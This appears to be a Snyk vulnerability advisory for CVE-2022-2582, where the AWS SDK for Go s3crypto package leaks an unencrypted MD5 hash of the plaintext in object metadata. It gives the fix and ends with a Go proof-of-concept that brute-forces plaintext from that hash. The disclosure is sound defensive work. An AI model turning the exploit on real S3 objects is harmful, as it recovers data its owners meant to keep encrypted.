Cryptographic Issues Affecting github.com/aws/aws-sdk-go/service/s3/s3crypto package, versions <1.33.0
Threat Intelligence
Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
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Start learning- Snyk IDSNYK-GOLANG-GITHUBCOMAWSAWSSDKGOSERVICES3S3CRYPTO-3121103
- published16 Nov 2022
- disclosed1 Jul 2022
- creditsophieschmieg
Introduced: 1 Jul 2022
CVE-2022-2582 (opens in a new tab)How to fix?
Upgrade github.com/aws/aws-sdk-go/service/s3/s3crypto to version 1.33.0 or higher.
Overview
github.com/aws/aws-sdk-go/service/s3/s3crypto is an AWS SDK for the Go programming language.
Affected versions of this package are vulnerable to Cryptographic Issues when it sends an unencrypted hash of the plaintext alongside the ciphertext as a metadata field, this hash can be used to brute force the plaintext if the hash is readable to the attacker.
PoC
func HashExploit(bucket string, key string, input *OfflineAttackInput) (string, error) {
_, header, err := input.S3Mock.GetObjectDirect(bucket, key)
length, err := strconv.Atoi(header.Get("X-Amz-Meta-X-Amz-Unencrypted-Content-Length"))
plaintextMd5 := header.Get("X-Amz-Meta-X-Amz-Unencrypted-Content-Md5")
blocks := length / 16
possiblePlaintextNum := 1
segNum := len(input.PossiblePlaintextSegments)
for i := 0; i < blocks; i++ {
possiblePlaintextNum *= segNum
}
for i := 0; i < possiblePlaintextNum; i++ {
w := i
guess := ""
for j := 0; j < blocks; j++ {
guess += input.PossiblePlaintextSegments[w%segNum]
w /= segNum
}
guessMd5 := md5.Sum([]byte(guess))
if plaintextMd5 == base64.StdEncoding.EncodeToString(guessMd5[:]) {
return guess, nil
}
}
return "", fmt.Errorf("No plaintext found!")
}